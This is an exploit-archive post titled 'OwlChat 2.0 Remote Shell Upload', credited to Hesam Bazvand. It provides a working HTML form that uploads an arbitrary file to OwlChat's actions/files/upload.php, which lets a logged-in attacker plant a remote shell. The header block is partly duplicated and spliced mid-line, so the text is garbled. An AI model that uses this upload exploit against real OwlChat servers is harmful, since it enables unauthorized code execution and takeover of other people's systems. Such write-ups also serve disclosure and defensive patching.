OwlChat 2.0 Remote Shell Upload

Details
Category: Vulnerabilities
Hits: 292
# Exploit Title: OwlChat Remote Shell Upload Vulnerability
# Exploit Author: Hesam Bazvand
# Contact: Hesam.Bazvand1994@gmail.com
# Download Link:
http://dl.20script.ir/script/ # Exploit Title: OwlChat Remote Shell Upload Vulnerability
# Exploit Author: Hesam Bazvand
# Contact: Hesam.Bazvand1994@gmail.com
# Download Link:
http://dl.20script.ir/script/chat/Owl-Chat-v2.0%5Bwww.20script.ir%5D.zip
# Tested on: Windows 10 / Kali Linux
# Category: WebApps
# Video : https://youtu.be/-H2jlRtVaJY
#
*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#

** for use this exploit you need register and login on target **

exploit:
<html>
<body>
<form action="http://localhost:8080/owlchat//actions/files/upload.php"
method="post" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="file" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
</body>
</html>